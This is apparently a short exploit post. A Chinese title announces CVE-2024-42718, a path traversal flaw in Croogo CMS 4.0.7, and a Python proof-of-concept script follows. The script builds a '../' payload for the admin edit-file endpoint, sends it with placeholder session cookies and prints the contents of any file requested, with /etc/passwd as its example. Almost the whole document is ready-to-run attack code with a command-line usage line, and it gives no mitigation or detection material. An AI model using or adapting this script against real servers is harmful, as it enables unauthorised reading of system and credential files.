CVE-2024-42718 Croogo CMS 路径遍历漏洞允许读取任意文件

import requests import sys # CVE-2024-42718 Path Traversal PoC for Croogo CMS 4.0.7 # Target: Croogo CMS file reading via edit-file parameter def exploit(target_url, file_path): """ Exploit path traversal vulnerability in Croogo CMS 4.0.7 Args: target_url: Base URL of the vulnerable Croogo CMS instance file_path: Path to the file to read (e.g., /etc/passwd) Returns: Content of the requested file """ # Construct path traversal payload traversal = '../' * 6 payload = traversal + file_path.lstrip('/') # Target endpoint - file editor functionality endpoint = f"{target_url.rstrip('/')}/admin/attachments/edit-file" # Prepare request parameters params = { 'edit-file': payload } # Optional: Add authentication cookies if required cookies = { 'csrf_token': 'your_csrf_token_here', 'session': 'your_session_cookie' } try: response = requests.get(endpoint, params=params, cookies=cookies, timeout=10) if response.status_code == 200: print(f"[+] Successfully read: {file_path}") print(f"[+] Content length: {len(response.text)} bytes") return response.text else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Example usage if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_path>") print(f"Example: python {sys.argv[0]} http://target.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] result = exploit(target, file_to_read) if result: print("\n--- File Content ---") print(result[:500]) # Print first 500 chars